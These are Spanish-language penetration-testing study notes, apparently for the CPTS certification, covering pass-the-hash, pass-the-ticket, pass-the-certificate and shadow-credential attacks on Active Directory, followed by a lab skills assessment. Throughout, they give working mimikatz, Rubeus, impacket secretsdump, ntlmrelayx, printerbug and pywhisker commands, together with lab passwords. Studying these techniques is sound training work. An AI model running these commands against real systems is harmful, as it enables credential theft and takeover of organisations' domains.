-d . : es el dominio local -d DOMAIN: para especificar el dominio --local-auth: indica que te quieres autenticar contra el SAM, se hace cuando se usan hash de usuarios o administradores locales -x COMANDO: para ejecutar comandos

netexec smb IP -u USER -d . -H HASH -x COMANDO

Evil-WinRM

Evil-WinRM

evil-winrm -i IP -u USER -H HASH

-u USER@domain: si es una cuenta de dominio

![[Pasted image 20260613112523.png]]

RDP

Puede que este deshabilitado el Restricted Admin Mode (lo esta de forma predeterminada), y tiene que estar habilitado para poder hacer el PtH. Si esta deshabilitado saldra:

![[Pasted image 20260613112710.png]]

  1. Habilitar el Restricted Admin Mode:
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

o de forma manual:

![[Pasted image 20260613112757.png]]

  1. Autenticacion con PtH:
xfreerdp3 /v:IP /u:USER /pth:HASH

![[Pasted image 20260613112845.png]]

Limitaciones UAC

  • LocalAccountTokenFilterPolicy = 0 (por defecto): solo la cuenta Administrador integrada (RID 500) puede realizar administración remota usando credenciales locales (Pass-the-Hash remoto).
  • LocalAccountTokenFilterPolicy = 1: cualquier usuario del grupo Administradores locales puede hacerlo.
  • Si FilterAdministratorToken = 1, incluso la cuenta RID 500 queda protegida por UAC y el Pass-the-Hash remoto puede fallar.
  • Esto solo afecta a cuentas locales. Las cuentas de dominio con privilegios administrativos pueden seguir usando Pass-the-Hash normalmente.

Ejemplo practico

  1. Nos conectamos al destino usando PtH

![[Pasted image 20260613113525.png]]![[Pasted image 20260613113549.png]]

  1. Cambiamos clave de registro DisableRestrictedAdmin “HKLM\System\CurrentControlSet\Control\Lsa” para poder conectarnos via RDP

![[Pasted image 20260613113740.png]]![[Pasted image 20260613114139.png]]

  1. Usamos mimikatz para extraer los hashes y mas concretamente el de david

![[Pasted image 20260613114241.png]]![[Pasted image 20260613115224.png]]![[Pasted image 20260613115246.png]]

c39f2beb3d2ec06a62cb887fb391dee0

  1. Hacemos un pth y creamos una en contexto de david que nos permitira abrir el recurso compartido \\DC01\david\david.txt

![[Pasted image 20260613121530.png]] ![[Pasted image 20260613120001.png]]![[Pasted image 20260613121455.png]]

  1. Lo mismo de antes pero para la de \DC01\julio\julio.txt

![[Pasted image 20260613121634.png]]![[Pasted image 20260613121654.png]]![[Pasted image 20260613121841.png]]![[Pasted image 20260613121910.png]]

  1. Con las credenciales de julio vamos a ejecutar comandos en el DC01 desde MS01 para mandarnos un reverse shell. Es decir desde MS01 vamos a hacer ejecucion remota de comadnos con Invoke-TheHash y nos mandaremos una reverse shell a un listener que tendremos preparado
  • Preparamos el listener

![[Pasted image 20260613122827.png]]![[Pasted image 20260613122834.png]]

Importamos el modulo necesario

![[Pasted image 20260613123114.png]]

Ejecutamos el comando en DC01 desde MS01 usando las creds de julio que se pueden autenticar en DC01 ![[Pasted image 20260613123300.png]] ![[Pasted image 20260613123233.png]]

Leemos el archivo desde la reverse shell que ubtuvimos en el listener:

![[Pasted image 20260613123353.png]]

CPTS

2. Pass The Ticket (ptt) Windows

En este ataque usaremos los tickets Kerberos robados para movernos lateralmente

Actualizacion del protocolo Kerberos

Kerberos se basa en tickets para no dar la contraseña de cuenta

El KDC entrega solo el ticket del servicio solocitado para que no se usen otros no necesarios:

  • TGT: primer boleto obtenido del DC que verifica tu identidad en el dominio y permite pedir tickets TGS (Time+Hash)
  • TGS: los usuarios solicitan un ticket para un servicio especifico presentando el TGT al KDC y KDC devuelve el TGS de ese servicio en especifico que sirve para que el servicio verifique la identidad del usuario

Ataque PtT

Para esto necesitamos uno de los 2 tickets Kerberos dependiendo del tipo de ataque:

  • TGT: solicitar tickets de servicio para acceder a cualquier recurso
  • TGS: permite el acceso a un recurso en particular

Recoleccion de Tickets .kirbi

Necesitamos privs de admin local al menos

Con Mimikatz (.kirbi)
mimikatz.exe privilege::debug "sekrulsa::tickets /export" exit

Con esto obtendremos un archivo .kirbi

Los tickets que terminan en $ son de la cuenta maquina que necesita un ticket para interactuar con el AD. Los de usuario (INTERSANTES) son [email protected]

![[Pasted image 20260613130601.png]]

![[Pasted image 20260613130933.png]]

Con Rubeus (TGT base64)

Con privs de admin nos dara todos los tickets en formato hash

Los da en base64 y ponemos /nowrap para que sea mas facil copiarlos y pegarlos

  1. Obtencion del TGT en base64 (lo usaremos en base64 en el ataque)
Rubeus.exe dump /nowrap

![[Pasted image 20260613131600.png]]

Pass The Key o OverPass the Hash

Requiere de privs, Rubeus no

En el PtH se usaba el hash NTLM para evitar tocar Kerberos. En esta tecnica de Pass The Key se usa el hash+Key de un usuario unido al dominio para convertirlo en un TGT

Necesitamos:

  • Key de Kerberos
  1. Extraemos las Keys de Kerberos con Mimikatz
mimikatz.exe privilege::debug "sekurlsa::ekeys" exit

![[Pasted image 20260613132050.png]]

aes256hmac es la key de kerberos y lo demas es el hash ntlm

**USO CON MIMIKATZ (obtencion cmd)

  1. Una vez con acceso a las Keys AES256_HMAC and RC4_HMAC ya podemos hacer el Overpass. Con esto obtendremos un cmd en contexto del usuario que nos permitira acceder a los servicios en su nombre
mimikatz.exe privilege::debug "sekurlsa::pth /domain:DOMAIN /user:USER /ntlm:HASH"

HASH: AES256_HMAC and RC4_HMAC

![[Pasted image 20260613133236.png]]

**USO CON RUBEUS (obtencion .kirbi)

No requiere de privs

  1. Una vez con acceso a las Keys AES256_HMAC and RC4_HMAC ya podemos hacer el Overpass y obtendremos un TGT en un .kirbi
Rubeus.exe asktgt /domain:DOMAIN /user:USER /aes256:KEYKERBEROS (o /rc4:HASH) /nowrap

Otra opcion es cargarlo directamente en en la sesion actual para poder usarlo directamente:

Rubeus.exe asktgt /domain:DOMAIN /user:USER /aes256:KEYKERBEROS (o /rc4:HASH) /ptt

![[Pasted image 20260613132632.png]]

PtT

Ahora que tenemos algunos tickets en .kirbi podemos empezar a movernos por el entorno

Con Rubeus

FORMA 1:

Lo haremos con el hash que encontramos en base64 en el OverPass. Con el comando que ejecutamos en el OverPass con /ptt ya tendriamos el ticket cargado en la sesion actual:

Rubeus.exe asktgt /domain:DOMAIN /user:USER /aes256:KEYKERBEROS (o /rc4:HASH) /ptt

![[Pasted image 20260613161602.png]]![[Pasted image 20260613161612.png]]

FORMA 2:

Usaremos el .kirbi que importamos desde Mimikatz:

Rubeus.exe ptt /ticket:[email protected]

Ya estariamos en contexto del usuario del que conseguimos el ticket:

![[Pasted image 20260613161751.png]]

FORMA 3:

Coger la salida base64 de Rubeus o el .kirbi de Mimikatz que obtuvimos previamente y convertirlo en un base64 para realizar un PtH:

[Convert]::ToBase64String([IO.File]::ReadAllBytes("[email protected]"))

Despues hacemos el PtT en Rubeus:

Rubeus.exe ptt /ticket:BASE64

![[Pasted image 20260613162113.png]]

Con Mimikatz

Usaremos el modulo kerberos::ptt y el .kirbi

mimikatz.exe privilege::debug "kerberos::ptt "C:\RUTA\ARCHIVO\[email protected]"" exit

o

mimkatz.exe
	privilege::debug
	"kerberos::ptt "C:\RUTA\ARCHIVO\[email protected]"
	misc::cmd
	exit

misc::cmd: abrira una nueva cmd con el contexto del ticket cargado en vez de hacerlo en la actual al salir de mimikat

![[Pasted image 20260613162604.png]]

PtT con PS Remoting

PowerShell Remoting: permite ejecutar scripts y comandos en una maquina remota (5985/TCP y 5986/TCP)

Debemos tener privs de administrador remoto o tener permisos remotos de PS. Si no tenemos pivs de administracion en un host remoto pero si tenemos privs de administracion remota, podremos hacerlo

Con Mimikatz

mimikatz.exe privilege::debug "kerberos::ptt "C:\RUTA\ARCHIVO\[email protected]"" exit
powershell
Enter-PSSession -ComputerName NOMBREMAQUINA

![[Pasted image 20260613163538.png]]

Con Rubeus

Esto abrira una nueva cmd desde la qu podremos solicitar un nuevo TGT:

Rubeus.exe createonly /program:"C:\Windows\System32\cmd.exe" show

![[Pasted image 20260613163818.png]]

Solicitamos TGT:

Rubeus.exe asktgt /user:USER /domain:DOMAIN /aes256:KEYKERBEROS (o /rc4:HASH) /ptt

![[Pasted image 20260613163805.png]]![[Pasted image 20260613163829.png]]

Ejemplo practico

  1. Nos conectamos via RDP ![[Pasted image 20260613190347.png]]

  2. Obtenemos todos los TGT (hay 3 de users)

![[Pasted image 20260613190538.png]]![[Pasted image 20260613190627.png]]

  1. Usamos el de John para hacer PtT y leer la carpeta compartida de \\DC01.inlanefreight.htb\john

![[Pasted image 20260613191138.png]]

  1. Mediante Powershell Remoting, conectarnos a DC01 y leer C:\john\john.txt

![[Pasted image 20260613191425.png]]

CPTS

3. Pass The Ticket (ptt) Linux

Una maquina Linux conectada a AD se comunica mediante Kerberos

Keberos en Linux

Usan el mismo proceso para solicitar TGTs y TGSs pero su almacenamiento puede variar en funcion de la distro

FORMA 1:

Normalmente los almacena en la cache en:

  • /tmp
  • Variable global: KRB5CCNAME

Un usuario con privs puede acceder a estos

FORMA 2:

Archivos keytab que contiene pares de Kerberos + clave cifrada. Usa este archivo para autenticarse sin ingresar la contraseña, aunque cuando la cambia debe recrear los archivos keytab

Normalmente permite a los scripts autenticarse automaticamente usando Kerberos sin intervencion humana

KEYTAB es la representacion de un ticket kerberos en Linux: /etc/krb5.keytab

Escenario

Tenemos LINUX01 en la red interna que solo es accesible desde MS01

Podemos conectarnos de 2 formas:

FORMA 1:

  1. Nos conectamos a MS01 mediante RDP:
xfreerdp3 /u:USER /p:PASS /v:IP
  1. Nos conectamos a LINUX01 desde MS01 mediante SSH:
ssh USER@DOMAIN@IP

FORMA 2 (PORT FORWARDING):

  1. En MS01 creamos un reenvio de puertos (ejemplo del 2222 (MS01) –> 22 (LINUX01))

  2. Desde kali ejecutamos SSH hacia el puerto 2222 (MS01) que se reenviara al 22 (LINUX):

ssh USER@DOMAIN@IP -p 2222

Identificacion de que Linux pertenece a un dominio AD

realm, sssd o winbind realm: es una herramienta que se usa para administrar la inscripcion a sistema del dominio

realm list

Vemos que usa Kerberos, el dominio es inlanefreight.htb y los usuarios y grupos que pueden iniciar sesion en esta maquina

![[Pasted image 20260614131410.png]]

ps -ef | grep -i "winbind\|sssd"

![[Pasted image 20260614131620.png]]

Encontrar Tickets Kerberos

  1. Buscar archivos con la expresion Keytab
find / -name *keytab* -ls 2>/dev/null

![[Pasted image 20260614150558.png]]

  1. Si el archivo Keytab no tiene la extension .keytab pero encontramos un script en crontab que se refiere a comunicacion Kerberos, dentro del archivo podremos encontrar una refencia a un archivo keytab
crontab -l

![[Pasted image 20260614150906.png]]![[Pasted image 20260614150919.png]]

En este ejemplo encontramo el usuario [email protected] y que se esta usando kinit (un comando que permite la interaccion con kerberos)

Encontrar archivos en cache

env | grep -i krb5

![[Pasted image 20260614151310.png]]

– Archivo cchache: Los archivos cache se encuentran normalmente en /tmp. Podemos buscar usuarios que hayan inciado sesion en la maquina y si obtenemos acceso como root podemos hacernos pasar por ellos usando su archivo ccache

ls -la /tmp

![[Pasted image 20260614151536.png]]

Abuso de archivos Keytab

  1. Descubrir para que usuario fue creado el archivo con klist (lee la informacion de un keytab):

![[Pasted image 20260614152028.png]]

  1. Sabiendo que es de Carlos vamos a averiguar que ticket estamos usando actualmente y tras esto nos hacemos pasasr por Carlos con kinit
klist
kinit USER@DOMAIN -k -t
klist

![[Pasted image 20260614152340.png]]

  1. Accedemos a una carpeta compartida que puede acceder Carlos
smbclient //DC01/carlos -k -c ls

-k: usa autenticacion kerberos -c ls: ejecutar un comando

![[Pasted image 20260614152423.png]]

Extraccion de Keytab

Otro metodo es extraer los secretos del Keytab. Con la tecnica de antes pudimos acceder a un recurso compartido en el dominio pero si queremos acceder a la cuenta de Carlos necesitaremos su contraseña

KeyTabExtract: herramienta para extraer informacion de archivos .keytab

python3 /opt/keytabexetract.py /RUTA/ARCHIVO.keytab

![[Pasted image 20260614152958.png]]

  • NTLM: descifrar o PtH
  • AES256 o AES128: falsificar nuestros tickets usando Rubeus o MImikatz o descifrar

Para descifrar: Hashcat, JtR o  https://crackstation.net/,

![[Pasted image 20260614153154.png]]

Inicio de sesion como Carlos una vez sabemos su contraseña:

![[Pasted image 20260614153234.png]]

Nos acordamos de svc_workstations.kt (podemos repetir el proceso para encontrar sus credenciales)

Abuso de Ccache

Necesitamos privs de lectura en /tmp (estos archivos ccache solo pueden ser leidos por el usuario creador o root)

  1. Nos conectamos como svc_workstations y hacemos sudo -l para saber si podemos ejecutar todo como root. Hacemos sudo su para ejecutar como root

![[Pasted image 20260614153611.png]]

Identificacion de archivos ccache

  1. Identificacion de los archivos ccache
ls -la /tmp

![[Pasted image 20260614153700.png]]

Esta el usuario julio al que todavia no hemos tenido acceso

id julio@DOMAIN

![[Pasted image 20260614153741.png]]

Es miembro de Domains Admin por lo que podremos tencer acceso a DC01

  1. Copiamos el archivo ccache y asignar a KRB5CCNAME:
klist
cp /tmp/ARCHIVO_DE_JULIO .
KRB5CCNAME=/ARCHIVO_DE_JULIO
klist
smbclient //dc01/C$ -k -c ls --no-pass

![[Pasted image 20260614154040.png]]

Uso de herramientas de ataque Linux Kerberos

Para esto hay que tener en cuenta desde que maquina se esta usando la herramienta:

  • Desde un host unido al dominio: asegurarse de que el KRB5CCNAME esta configurado con el archivo ccache que queremos usar
  • Desde un host no unido al dominio (host atacante): asegurarnos de que se puede comunicar con el KDC y que la resolucion del nombre del dominio esta funcionando

Establecer conexion desde host de ataque hacia KDC

En este caso desde nuestro host de ataque no hay comunicacion con el KDC por lo que habra que hacer un proxy con Chisel y Proxychains a traves de MS01 + editar /etc/hosts

  1. Modificar /etc/hosts
sudo nano /etc/hosts

![[Pasted image 20260614155228.png]]

  1. Modificar /etc/proxychains.conf
sudo nano /etc/proxychains.conf

![[Pasted image 20260614155350.png]]

  1. Descargar chisel en host de ataque y establecer tunel
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz

gzip -d chisel_1.7.7_linux_amd64.gz
mv chisel_* chisell && chmod +x ./chisel
sudo ./chisel server --reverse

![[Pasted image 20260614155529.png]]

  1. Conectarse a traves de MS01
xfreerdp3 /u:USER /p:PASS /v:IP
C:\Tools\chisel.exe client IP:8080 R:socks

![[Pasted image 20260614155658.png]]![[Pasted image 20260614155703.png]]

  1. Transferir el archivo ccache de Julios hacia el host de ataque desde LINUX01(Transferencias de archivos) y establecer en nuestro host KRB5CCAME:
export KRB5CCNAME=/ARCHIVO_DE_JULIO

![[Pasted image 20260614155941.png]]

Impacket

proxychains impacket-wmiexec dc01 -k

![[Pasted image 20260614201832.png]]

Evil-WinRM

  1. Instalar Kerberos
sudo apt-get install krb5-user -y
> DOMINIO
> NOMBRE_KDC01

o modificar /etc/krb5.conf si esta ya instalado:

![[Pasted image 20260614202105.png]]

  1. Uso de wvil-winrm
proxychains evil-winrm -i IP_KDC/NOMBRE_KDC -r DOMAIN

![[Pasted image 20260614202207.png]]

Otras herramientas

Si queremos usar el ccache file hay que convertirlo a .kirbi. Podemos usar impacket-ticketConverter para convertirlos

  1. Convertir ccache a .kirbi
impacket-ticketConverter ARCHIVO_JULIO NOMBRE.kirbi

![[Pasted image 20260614202545.png]]

Para pasar de .kirbi a CCache se pone primero el .kirbi y luego el NOMBRE_ARCHIVO

  1. Transferir a host Windows y usar Rubeus con el .kirbi
Rubeus.exe ptt /ticket:ARCHIVO.kirbi

![[Pasted image 20260614202758.png]]![[Pasted image 20260614202804.png]]

Linikatz

Linikatz: herramienta que permite explotar credenciales en maquinas Linux que estan integradas en AD

Al igual que MImikatz necesita ser root de la maquina y extrae todas las credenciales, tickets Kerberos… y las coloca en una carpeta que empieza con “linikatz*”. Aqui encontraras credenciales de formatos diferentes (tambien ccache y keytab)

  1. Instalacion
wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh
  1. Uso
/opt/linikatz.sh

![[Pasted image 20260614203120.png]]

Ejemplo practico

  1. Conectarnos mediante SSH por el puerto 2222 y obtener la bandera en /home/david

![[Pasted image 20260614203507.png]]

  1. Que grupo puede conectarse a LINUX01

![[Pasted image 20260614203643.png]]

  1. Busca un archivo keytab al que puedas leer y escribir y devuelve el nombre

![[Pasted image 20260614203903.png]]

  1. Extrae los hashes del keytab, descifra la credencial y loggeate para obtener la flag
  • Descargamos KeyTabExtract y lo pasamos al host objetivo

![[Pasted image 20260614204312.png]]![[Pasted image 20260614204318.png]]!

  • Lo usamos para extraer hashes

![[Pasted image 20260614204721.png]]

  • Desciframos el NTLM [[Pasted image 20260614204352.png]]![[Pasted image 20260614204432.png]]

  • Nos loggeamos y leemos la flag

![[Pasted image 20260614204602.png]]

  1. Mira el crontab de carlos para ver a que keytabs tiene acceso. Obten el credencial del usuario svc_workstations y usalo para autenticarte a traves de ssh
  • Buscamos en crontab y vemos uno que es un script de kerberos. Al leerlo encontramos el .kt de svc_workstations y su localizacion

![[Pasted image 20260614205033.png]]

Si listamos la ruta encontraremos el _all que nos intersa mas ![[Pasted image 20260614212012.png]]

  • Extraemos hashes

![[Pasted image 20260614205130.png]] ![[Pasted image 20260614212108.png]] ![[Pasted image 20260614212123.png]]

  • Nos conectamos via ssh

![[Pasted image 20260614212210.png]]

  1. Escalar prvis mirando los sudo privs

![[Pasted image 20260614212329.png]]

  1. Miramos en /tmp y encontrar el ticket Kerberos de Julio. Importalo y lee \\DC01\julio\julio.txt

![[Pasted image 20260614213414.png]]![[Pasted image 20260614213429.png]]

  1. Usar el ticket LINUS01$ para obtener la flag

![[Pasted image 20260614214231.png]]

![[Pasted image 20260614214307.png]] ![[Pasted image 20260614214557.png]]

![[Pasted image 20260614214947.png]]

Para el que piden pasar el archivo ccache de julio al kali y crear un proxy desde ms01 hacia dc01:

  1. Pasar el ccache de Julio de Linux01 a kali
  2. Modificar y crear proxychains junto con /etc/hosts para que encuentre a MS01
  3. Movel Chisel a MS01 y ejecutarlo para que se comunique con DC01y kali (a MS01 nos conectamos via RDP)
  4. Usar proxychains desde kali para loggearnos con evilwinrm en DC01 a traves de MS01

Para el otro:

  1. Convertir el ccache de Julio en .kirbi
  2. Pasarlo a MS01
  3. Usar Rubeus

CPTS

4. Pass The Certificate (ptc)

PKINIT es una extension del protocolo Kerberos que permite autenticarse en el KDC usando un certificado digital y su clave privada en vez de una contraseña

Ataque de retransmision AD CS NTLM (ESC8)

ESC8: es un ataque de retransmision NTLM dirigido a un punto final HTTP ADCS. ADCS permite multiples metodos de inscripcion que de forma predeterminada ocurre a traves de HTTP

  1. Verificar con certypy el template que hay que poner
certipy find -u 'USER' -p 'PASS' -target IP_CA -vulnerable
  1. Usar netlrelayx para escuchar conexiones: ntlmrelayx de Impacket: es un herramienta que se puede usar para escuchar conexiones entrantes y transmitirlas al servicio de inscripcion web:
impacket-ntlmrelayx -t http://IP/certsrv/certfinsh.asp --adcs -smb2support --template KerberosAuthentication
  1. Esperar a que un usuario se autentique en la maquina de forma aleatoria o se obliga a hacerlo

Forma de forzar a hacerlo: con printerbug.py. Se requiere que el objetivo tenga el servicio Printer Spooler en ejecucion

Con lo siguiente se obliga a DC01 a que se autentique en la Kali:

python3 printerbug.py DOMAIN/wwhite:"package5shores_topher1"@IP_DC IP_Kali

![[Pasted image 20260614225130.png]]

  1. Volvemos a ntlmrelayx y vemos que el resultado de la solicitud de autenticacion se transmitio correctamente a la aplicacion de inscripcion web y se emitio un certificado para DC01$:

![[Pasted image 20260614225245.png]]

  1. Hacemos el PtC para obtener el TGT de DC01$ con gettgtpkinit.py
git clone https://github.com/dirkjanm/PKINITtools.git && cd PKINITtools
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

* Si hay algun error (Error detecting the version of libcrypto) ejecutamos lo siguiente:

pip3 install -I git+https://github.com/wbond/oscrypto.git

Ahora hacemos el PtC:

python3 gettgtpkinit.py -cert-pfx ../krbrelayx/DC01\$.pfx -dc-ip IP_DC 'DOMAIN/CUENTA$' /tmp/dc.ccache

![[Pasted image 20260614225603.png]]

  1. Una vez obtenido el TGT volvemos a hacer un PtT:
export KRB5CCNAME=/tmp/dc.ccache
klist
  1. Como tenemos la cuenta maquina del DC01 podemos hacer un DCSync para recuperar los hashes NTLM y obtener el del administrador del dominio
impacket-secretsdump -k -no-pass -dc-ip IP_DC -just-dc-user Administrator 'INLANEFREIGHT.LOCAL/DC01$'@DC01.INLANEFREIGHT.LOCAL

![[Pasted image 20260614225806.png]]

Shadow Credentials

Shadow Credentials: es un ataque de AD que abusa del atributo msDS-KeyCredentialLink de un usuario. Este almacena claves publicas que pueden usarse en la autenticacion PKINIT

En BloodHound el “AddKeyCrentialLink” indica que se tienen permisos de escritura sobre el atributo “msDS-KeyCredentialLink” de otro usuario que permite obtner el control del usuario

![[Pasted image 20260614230102.png]]

  1. Una vez sabiendo esto podemos usar pywhisker para realizar el ataque desde Linux. El siguiente comando genera un atributo y lo escribe en el usuario victima
pywhisker --dc-ip IP_DC -d INLANEFREIGHT.LOCAL -u wwhite -p 'PASSWORD' --target jpinkman --action add

![[Pasted image 20260614230315.png]]

  1. Del resultado anterior podemso ver que se creo un archivo PFX (eFUVVTPf.pfx) y se muestra la contraseña. Usamos gettgtpkinit.py para adquirir el TGT de la victima
python3 gettgtpkinit.py -cert-pfx ../eFUVVTPf.pfx -pfx-pass 'PASS_SALIDA_ANTERIOR' -dc-ip IP_DC INLANEFREIGHT.LOCAL/jpinkman /tmp/jpinkman.ccache

![[Pasted image 20260614230503.png]]

  1. Con el TGT lo usamos para PtT:
export KRB5CCNAME=/tmp/jpinkman.ccache
klist

![[Pasted image 20260614230558.png]]

  1. Desde bloodhound se pudo ver que pertenece a Remote Management Users por lo que nos conectamos via WinRm

(asegurarse de que /etc/krb5.conf esta configurado correctamente)

  • Instalar Kerberos
sudo apt-get install krb5-user -y
> DOMINIO
> NOMBRE_KDC01
  • o modificar /etc/krb5.conf si esta ya instalado:

![[Pasted image 20260614202105.png]]

evil-winrm -i dc01.inlanefreight.local -r inlanefreight.local

![[Pasted image 20260614230843.png]]

NO HAY PKINIT

Puede pasar que tras conseguir el certificado no podamos usarlo contra ciertas victimas como una cuenta maquina controladora de dominio debido a que KDC no adminite EKU adecuada. Podemos usar PassTheCert que fue creada para estas situaciones Se usa para autenticarse con LDAPS mediante un certificado usando varios ataques

Ejemplo practico

  1. Contenido de flag.txt en el escritorio de jpinkman

Clonamos desde git pywhisker e instalamos dependencias

![[Pasted image 20260615001148.png]]

![[Pasted image 20260615001158.png]]

![[Pasted image 20260615002543.png]] ![[Pasted image 20260615002553.png]]

![[Pasted image 20260615002714.png]]

  1. Contenido de flag.txt en el escritorio de Administrator

CPTS

1. Skills Assessment

El metodo de Credential Theft Shuffle es un enfoque que se usa para comprometer entornos AD mediante el robo de credenciales. Se suele comenzar con credenciales obtenidas de un phising y se sigue con la obtencion de privilegios de administrador local

Tras esto se usan herramientas como MImikatz para extraer mas credenciales y moverse lateralmente con PtH o Netexec. El objetivo es ganar control del dominio normalmente comprometiendo cuentas de administrador o realizando DCSync

Escenario

Betty Jayde trabaja en Nexura LLC y su contraseña es “Texas123!@#”

Nos infiltramos en la red Nexuta y obtengamos ejecucion de comando en el controlador de dominio

Maquinas:

Maquina Direccion IP
DMZ01 172.16.119 (EXTERNA)
172.16.119.13 (INTERNA)
JUMP01 172.16.119.7
FILE01 172.16.119.10
DC01 172.16.119.11

A los hosts internos no podemos acceder desde nuestro host de ataque hay que hacerlo mediante pivoting (proxychains + chisel) a traves de DMZ01 que tiene doble interfaz

Ejercicio practico

Con el nombre dado de Betty Jayde creamos una lista de variaciones de posibles nombres de usuario:

![[Pasted image 20260615173814.png]]![[Pasted image 20260615173821.png]]![[Pasted image 20260615173828.png]]

Revisamos los servicios expuestos para tratar de hacer fuerza bruta de nombre de usuario y usar la password que nos dieron:

![[Pasted image 20260615174558.png]]![[Pasted image 20260615174609.png]]

Usuario Pass Maquina
jbetty Texas123!@# DMZ01

Tras conseguir el username y la contraseña que ya teniamos nos loggeamos mediante ssh en el destino

![[Pasted image 20260615174715.png]]

Lo primero que hago es mirar los histories y encontramos un usuario y contraseña que se autentican en FILE01:

![[Pasted image 20260615180511.png]]

User Pass Maquina
hwilliam dealer-screwed-gym1 FILE01
172.16.119.10

Como FILE01 no es accesible desde Kali creamos un proxy haciendo un tunnel desde SSH hacia la red interna

![[Pasted image 20260615182247.png]]![[Pasted image 20260615182301.png]]![[Pasted image 20260615182312.png]]

Una vez creado realizamos un escaneo de servicios de FILE01 para ver como nos podemos autenticar o que podemos hacer

![[Pasted image 20260615182322.png]]![[Pasted image 20260615182340.png]]

Vimos que tenia el SMB abierto por lo listamos y entramos en HR. Alli vemos un archivo de contraseñas antiguas que esta encodeado

![[Pasted image 20260615182353.png]]

Es un archiov psafe, podemos usar una herramienta de 2john para descifrar la credencial que lo cifra;

![[Pasted image 20260615182829.png]]![[Pasted image 20260615182840.png]]![[Pasted image 20260615182854.png]]

PASS ARCHIVO USO
michaeljackson Employee-Passwords_OLD Para el archivo .psafe3
Tras encontrar la PASS del archiov descargamos una herramienta que nos permita abrirlo

![[Pasted image 20260615183507.png]]![[Pasted image 20260615183618.png]]

Dentro encontramos varios usuarios de dominio y sus contraseñas antiguaas

![[Pasted image 20260615183635.png]] ![[Pasted image 20260615183742.png]] ![[Pasted image 20260615183756.png]]

DomainUser Pass
bdavid caramel-cigars-reply1
stom fails-nibble-disturb4
hwilliam warned-wobble-occur8
Al tratar de usarlas contra FILE01 vimos que ninguna tuvo resultado

![[Pasted image 20260615184637.png]]![[Pasted image 20260615184644.png]]

Escaneamos JUMP01 para ver que servicios tiene activos y vemos un RDP

![[Pasted image 20260615185350.png]]

Probamos las contraseñas antiguas contra este host y vemos que bdavid funciona seguramente porque aun no las haya actualizado:

![[Pasted image 20260615185859.png]] ![[Pasted image 20260615222033.png]]

Dentro abrimos una cmd como admin y vemos que estamos dentro del grupo de Administrators:

![[Pasted image 20260615221714.png]]

Desde aqui podemos dumpear los registry hives y pasarnoslos a la kali para dumpearlos

![[Pasted image 20260615222021.png]] ![[Pasted image 20260615222139.png]] ![[Pasted image 20260615222212.png]] ![[Pasted image 20260615222234.png]]

Al dumpearlos ya conseguimos el hash del Administrator que nos pedian pero vamos a seguir avanzando

![[Pasted image 20260615222258.png]]

No se pueden descifrar los hashes por wordlist

![[Pasted image 20260615222413.png]]

Encontramos dentro de JUMP01 algunos archivos .pcap que abrimos en WireShark pero no habia nada util dentro

![[Pasted image 20260615222115.png]]![[Pasted image 20260615222543.png]]![[Pasted image 20260615222453.png]]![[Pasted image 20260615222607.png]]

Probamos a dumpear el lsass.exe y pasarlo a nuestro kali para obtener los hashes

![[Pasted image 20260615222943.png]]![[Pasted image 20260615223040.png]]![[Pasted image 20260615223408.png]]![[Pasted image 20260615223549.png]]![[Pasted image 20260615223606.png]]

Encontramos obviamente los mismos hashes de antes pero de otra forma y no se pueden descifrar como antes

Vamos a tratar con mimikatz de sacar credenciales en texto limpio. Dentro encontramos la de stom acutalizada

![[Pasted image 20260615225109.png]] ![[Pasted image 20260615225136.png]]![[Pasted image 20260615225157.png]]![[Pasted image 20260615225302.png]]![[Pasted image 20260615225415.png]]

User Pass Maquina
stom calves-warp-learning1 DC01
172.16.119.11

Una vez que tenemos las de stom tratamos de autenticarnos en DC01

![[Pasted image 20260615225618.png]]

Abrimos un cmd como admin porque tenemos privs y tratamos de conseguir el hash de Adminsitrator del DC (Es otro hash del anterior pero es para escalar aun mas privs y hacer mas tecnicas)

Dentro del cmd copiamos los registry hives, nos los pasamos y los dumpeamos

![[Pasted image 20260615225856.png]]![[Pasted image 20260615225929.png]]![[Pasted image 20260615230107.png]]

Conseguimos el hash de adminsitrator de DC01 el cual no se puede descifrar

![[Pasted image 20260615230143.png]]

Tratamos de hacer un PtH mediante mimikatz y abrir una cmd que tenga las credenciales de Administrator

![[Pasted image 20260615230437.png]]![[Pasted image 20260615230501.png]]![[Pasted image 20260615230739.png]]

Aunque ponga stom (el cual es el user local que no cambia debido a que es el contexto de la sesion interactiva) esta nueva cmd tendra los tickets-credenciales de Administrator y podremos actuar como el con los servicios del entorno

Aunque whoami siga mostrando stom (porque el proceso sigue ejecutándose dentro de la sesión interactiva de ese usuario), la nueva consola creada mediante sekurlsa::pth tiene cargadas las credenciales de Administrator en los proveedores de autenticación (NTLM/Kerberos). Por ello, las conexiones de red iniciadas desde esa consola podrán autenticarse como Administrator, permitiéndonos actuar con sus privilegios frente a los servicios del entorno (SMB, WinRM, WMI, LDAP, etc.), aunque localmente el contexto de la sesión continúe siendo el de stom.

CPTS

1. Malas Configuraciones A Mirar

  1. Credenciales default

![[Pasted image 20260622103234.png]]

  1. Autenticacion anonima

  2. Derechos de acceso mal configurados (por ejemplo poder leer todo un FTP)

  3. 10 principales de OWASP

    1. Se instalan funciones innecesarias (puertos, servicios, paginas…)
    2. Cuentas predeterminadas y contraseñas aun habilitadas sin cambios
    3. Manejo de errores deja informacion
    4. Las soluciones de seguridad estan deshabilitadas o no estan configuradas de forma segura

CPTS

2. Encontrar Informacion Confidencial

SITUACION

Al entrar en FTP vemos un archivo vacio con propiedad del usuario jonsmith (YA TENEMOS USUARIO)

Probamos johnsimith como USER y PASS en FTP pero nada

Lo probamos en el correo electronico y estamos dentro

AL buscar en el correo electronico correos que tengan la palabras pass encontramos uno que contiene la contraseña del usuario para el servicio MSSQL

Accedemos y por xp_cmdshell podemos ejecutar comnados RCE

La información confidencial puede incluir, entre otras:

  • Nombres de usuario.
  • Direcciones de correo electrónico.
  • Contraseñas.
  • Registros DNS.
  • Direcciones IP.
  • Código fuente.
  • Archivos de configuración.
  • PII.

CPTS

1. SMB

Usado para carpetas compartidas en red

Interactuar en Windows

A traves de GUI

  1. GUI
WIN + R
  1. Introduccimos la ubicacion del recurso compartido
\\IP\ShareName

![[Pasted image 20260621173005.png]]

